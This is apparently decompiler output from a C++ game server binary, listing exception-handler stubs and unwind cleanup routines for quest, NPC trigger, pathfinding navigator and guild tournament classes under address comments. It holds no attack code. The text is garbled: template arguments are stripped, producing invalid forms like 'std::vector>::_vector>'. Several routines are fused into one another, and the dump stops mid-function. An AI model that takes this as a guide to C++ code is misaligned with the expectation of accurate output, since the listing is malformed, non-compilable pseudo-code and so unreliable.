_ehhandler__QuestActionMobKill_CQuestZone__QAEHPAUPLAYER_QUEST_INFO__PAUQUEST_DATA__HPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597E20) -------------------------------------------------------- void __usercall _L163571(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 120)); } //----- (00597E28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Send_QUEST_ERROR_TO_CLIENT_CQuestZone__QAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597E40) -------------------------------------------------------- void __usercall _L163616(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00597E60) -------------------------------------------------------- void __usercall _L163671(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 152)); } //----- (00597E80) -------------------------------------------------------- void __usercall _L163795(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00597E88) -------------------------------------------------------- void __usercall _L163796(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (00597E90) -------------------------------------------------------- void __usercall _L163797(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00597E98) -------------------------------------------------------- void __usercall _L163798(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (00597EA0) -------------------------------------------------------- void __usercall _L163799(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (00597EA8) -------------------------------------------------------- void __usercall _L163800(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (00597EB0) -------------------------------------------------------- void __usercall _L163801_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00597EB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestPlayer_ScenarioRun_CQuestZone__QAEHGPAUSTRUCT_QSC___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597ED0) -------------------------------------------------------- void __usercall _L163875(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00597ED8) -------------------------------------------------------- void __usercall _L163876(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00597EE0) -------------------------------------------------------- void __usercall _L163877(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00597EE8) -------------------------------------------------------- void __usercall _L163883(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00597EF0) -------------------------------------------------------- void __usercall _L163885(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00597EF8) -------------------------------------------------------- void __usercall _L163886(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00597F00) -------------------------------------------------------- void __usercall _L163878(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00597F08) -------------------------------------------------------- void __usercall _L163879(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00597F10) -------------------------------------------------------- void __usercall _L163880(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00597F18) -------------------------------------------------------- void __usercall _L163881(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00597F20) -------------------------------------------------------- void __usercall _L163882(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00597F28) -------------------------------------------------------- void __usercall _L163884_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00597F30) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestNext_CQuestZone__QAEHXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597F40) -------------------------------------------------------- void __usercall _L164039(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 632)); } //----- (00597F4B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Recv_NC_QUEST_DB_SET_INFO_ACK_CQuestZone__QAEXPAUPROTO_NC_QUEST_DB_SET_INFO_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597F60) -------------------------------------------------------- void __usercall _L164116(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 340)); } //----- (00597F6B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Recv_NC_QUEST_DB_CLEAR_ACK_CQuestZone__QAEXPAUPROTO_NC_QUEST_DB_CLEAR_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597F80) -------------------------------------------------------- void __usercall _L164181(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00597F88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Recv_NC_ITEMDB_QUESTREWARD_ACK_CQuestZone__QAEXPAUPROTO_NC_ITEMDB_QUESTREWARD_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597FA0) -------------------------------------------------------- void __usercall _L164296(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597FA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestScriptRun_CQuestZone__QAEHW4PLAYER_QUEST_STATUS__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597FC0) -------------------------------------------------------- void __usercall _L164376(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00597FC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Recv_NC_QUEST_SELECT_START_REQ_CQuestZone__QAEHPAUPROTO_NC_QUEST_SELECT_START_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597FE0) -------------------------------------------------------- void __usercall _L150751(int a1) { NPCAction::DieAction::_DieAction(*(SlantedCoordList::ObjectYCoordNode **)(a1 - 16)); } //----- (00597FE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0NoticeAction_NPCAction__QAE_PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598000) -------------------------------------------------------- void __usercall _L150997(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00598020) -------------------------------------------------------- void __usercall _L153387_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00598028) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__check_ClassCondition_NPCAction__UBE_NPBVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598040) -------------------------------------------------------- void __usercall _L151069_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00598048) -------------------------------------------------------- void __usercall _L151070(int a1) { Observer::_Observer((Observer *)(a1 - 28)); } //----- (00598050) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_NeighborhoodChecker__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598060) -------------------------------------------------------- void __usercall _L152224(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { IObserver::_IObserver(*(ItemSmallBag **)(a1 - 16)); } //----- (00598098) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0Trigger_NPCAction__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005980B0) -------------------------------------------------------- void __usercall _L154105(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader((NPCAction::TriggerGen_OptionReader *)(a1 + 12)); } //----- (005980B8) -------------------------------------------------------- void __usercall _L154106(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 - 36)); } //----- (005980C0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____generate_n_Viterator___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__IUTriggerGen_OptionReader_NPCAction___std__YAXViterator___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___0_IUTriggerGen_OptionReader_NPCAction___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005980E9) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_Vconst_iterator___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__PAVTrigger_NPCAction__V__allocator_VTrigger_NPCAction___3__std__YAPAVTrigger_NPCAction__Vconst_iterator___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___0_0PAV12_AAV__allocator_VTrigger_NPCAction___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598119) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAVTrigger_NPCAction__IV12_V__allocator_VTrigger_NPCAction___std___std__YAXPAVTrigger_NPCAction__IABV12_AAV__allocator_VTrigger_NPCAction___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598130) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598148) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__IAEXViterator_12_IABVTrigger_NPCAction___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598160) -------------------------------------------------------- void __usercall _L156216(int a1) { std::vector>::_vector>((std::vector > *)(a1 + 12)); } //----- (00598168) -------------------------------------------------------- void __usercall _L156217(int a1) { if ( *(_DWORD *)(a1 - 16) & 1 ) { *(_DWORD *)(a1 - 16) &= 0xFFFFFFFEu; std::pair>>::_pair>>(*(std::pair > > **)(a1 + 4)); } } //----- (00598181) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____make_pair_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std__YA_AU__pair_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___0_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598190) -------------------------------------------------------- void __usercall _L156241(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 + 8)); } //----- (00598198) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__QAEXIVTrigger_NPCAction___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005981C1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tmap_traits_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__U__less_G_2_V__allocator_U__pair___CBGV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std___2__0A__std___std__IAEPAU_Node____Tree_nod_V___Tmap_traits_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__U__less_G_2_V__allocator_U__pair___CBGV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std___2__0A__std___2_(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005981D0) -------------------------------------------------------- void __usercall _L156800(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (005981D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tmap_traits_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__U__less_G_2_V__allocator_U__pair___CBGV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std___2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tmap_traits_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__U__less_G_2_V__allocator_U__pair___CBGV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std__(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005981F0) -------------------------------------------------------- void __usercall _L157181(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005981FB) -------------------------------------------------------- void __usercall _L157182(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader((NPCAction::TriggerGen_OptionReader *)(a1 - 67708)); } //----- (00598206) -------------------------------------------------------- void __usercall _L157183(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(*(NPCAction::TriggerGen_OptionReader **)(a1 - 67712)); } //----- (00598211) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____loadFromOptionReader_UTriggerGen_OptionReader_NPCAction__VTrigger_2__Util_NPCAction__YA_NAAV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598220) -------------------------------------------------------- void __usercall _L157376(int a1) { std::vector>::_vector>((std::vector > *)(a1 - 524)); } //----- (0059822B) -------------------------------------------------------- void __usercall _L157377(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 452)); } //----- (00598236) -------------------------------------------------------- void __usercall _L157379(int a1) { std::pair>>::_pair>>((std::pair > > *)(a1 - 484)); } //----- (00598241) -------------------------------------------------------- void __usercall _L157380(int a1) { std::pair>>::_pair>>((std::pair > > *)(a1 - 504)); } //----- (0059824C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__loadTriggers_Util_NPCAction__YA_NXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598260) -------------------------------------------------------- void __usercall _L149486(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00598268) -------------------------------------------------------- void __usercall _L149487(int a1) { Observer::_Observer((Observer *)(a1 - 28)); } //----- (00598270) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___RdoTriggers__NPCAction__QBEXAAVTrigger_1__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598280) -------------------------------------------------------- void __usercall _L151243(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00598288) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xran___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005982A0) -------------------------------------------------------- void __usercall _L152439(int a1) { IObserver::_IObserver(*(ItemSmallBag **)(a1 - 16)); } //----- (005982A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0Trigger_NPCAction__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005982C0) -------------------------------------------------------- void __usercall _L153714(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 44) + 8)); } //----- (005982CB) -------------------------------------------------------- void __usercall _L153825(int a1) { IObserver::_IObserver((ItemSmallBag *)(a1 - 36)); } //----- (005982D3) -------------------------------------------------------- void __usercall _L153716(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 - 36)); } //----- (005982DB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0TriggerGen_OptionReader_NPCAction__QAE_PAVOptionReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005982F0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598311) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tmap_traits_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std___std___2__0A__std___std__IAEPAU_Node____Tree_nod_V___Tmap_traits_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGU(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598320) -------------------------------------------------------- void __usercall _L78906(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00598328) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tmap_traits_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std___std___2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tmap_traits_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V_(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598340) -------------------------------------------------------- void __usercall _L80429(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (00598350) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___A__map_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std___std___2__std__QAEAAV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___1_ABH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598360) -------------------------------------------------------- void __usercall _L153628(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00598368) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tmap_traits_GPAUMysteryVaultServer__U__less_G_std__V__allocator_U__pair___CBGPAUMysteryVaultServer___std___3__00_std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598380) -------------------------------------------------------- void __usercall _L77897(int a1) { BitSet::_BitSet((BitSet *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (005983A0) -------------------------------------------------------- void __usercall _L81812(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (005983A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UUnitPointWithDistance_Navigator__V__allocator_UUnitPointWithDistance_Navigator___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005983C0) -------------------------------------------------------- void __usercall _L82977(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005983C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wl_Pop_WaitingList_Navigator__QAE_NPAH0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005983E0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UUnitPointWithDistance_Navigator__V__allocator_UUnitPointWithDistance_Navigator___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005983F0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UUnitPointWithDistance_Navigator__V__allocator_UUnitPointWithDistance_Navigator___std___std__IAEXViterator_12_IABUUnitPointWithDistance_Navigator___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598400) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UUnitPoint_Navigator__V__allocator_UUnitPoint_Navigator___std___std__IAEXViterator_12_IABUUnitPoint_Navigator___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598410) -------------------------------------------------------- void __usercall _L86266(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00598438) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wl_StoreNeighbor_WaitingList_Navigator__QAEHPAUPathFindArgument_2_HHPBUUnitPoint_2_HPBUNaviPoint_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598450) -------------------------------------------------------- void __usercall _L86868(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00598458) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__nm_MakePath_MapNavigator_Navigator__AAEHPAVVirtualMap_2_UUnitPoint_2_PBUNaviPoint_2_HAAV__StaticVector_UNaviPoint_Navigator_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598470) -------------------------------------------------------- void __usercall _L87479(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00598478) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__pa_Analyze_PathAnalyzer_Navigator__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598490) -------------------------------------------------------- void __usercall _L87528(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00598498) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mn_Search_MapNavigator_Navigator__AAEHPAVVirtualMap_2_KKKKAAV__StaticVector_UNaviPoint_Navigator_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005984B0) -------------------------------------------------------- void __usercall _L87638(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (005984B8) -------------------------------------------------------- unsigned int __cdecl _L87639() { unsigned int result; // eax@1 result = _S4_26 & 0xFFFFFFFE; _S4_26 &= 0xFFFFFFFEu; return result; } //----- (005984C6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mn_PathFind_MapNavigator_Navigator__QAEHPAVVirtualMap_2_KKKKAAV__StaticVector_UNaviPoint_Navigator_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005984D0) -------------------------------------------------------- void __usercall _L110160(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005984D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__vm_IsStreight_VirtualMap_Navigator__QAEHHHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005984F0) -------------------------------------------------------- void __usercall _L110202(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (005984F8) -------------------------------------------------------- void __usercall _L110203(int a1) { if ( *(_DWORD *)(a1 - 44) & 1 ) { *(_DWORD *)(a1 - 44) &= 0xFFFFFFFEu; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 + 4)); } } //----- (00598511) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__vm_FindBlock_VirtualMap_Navigator__QAE_AUNaviPoint_2_HHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598520) -------------------------------------------------------- void __usercall _L158940(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00598528) -------------------------------------------------------- void __usercall _L158941(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00598530) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Send_NC_CT_SET_CURRENT_ACK_CCharacterTitleZone__QAEXEEGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return 